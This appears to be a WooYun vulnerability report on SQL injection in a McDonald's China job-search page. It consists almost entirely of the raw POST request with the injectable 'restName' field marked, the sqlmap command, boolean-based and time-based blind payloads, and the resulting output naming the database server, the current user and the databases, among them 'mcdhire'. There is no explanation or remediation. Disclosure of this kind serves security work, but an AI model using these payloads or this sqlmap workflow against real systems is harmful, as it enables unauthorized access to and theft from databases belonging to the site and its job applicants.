WooYun.org

POST /List/Job HTTP/1.1
Host: 520.mcdonalds.com.cn
Proxy-Connection: keep-alive
Content-Length: 56
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://520.mcdonalds.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://520.mcdonalds.com.cn/List/Job
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
province=130000&city=130300&restName=*&addr=&x=56&y=12

python sqlmap.py -r 1.txt --current-user -v 0 --dbs
custom injection marking character ('*') found in option '--data'. Do you want t
o process it? [Y/n/q]
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: province=130000&city=130300&restName=%' AND 9381=9381 AND '%'='&add
r=&x=56&y=12
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: province=130000&city=130300&restName=%' AND 6802=(SELECT COUNT(*) F
ROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers
 AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='&addr=&x=56&y=12
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2005
current user:    'java'
available databases [5]:
[*] master
[*] mcdhire
[*] model
[*] msdb
[*] tempdb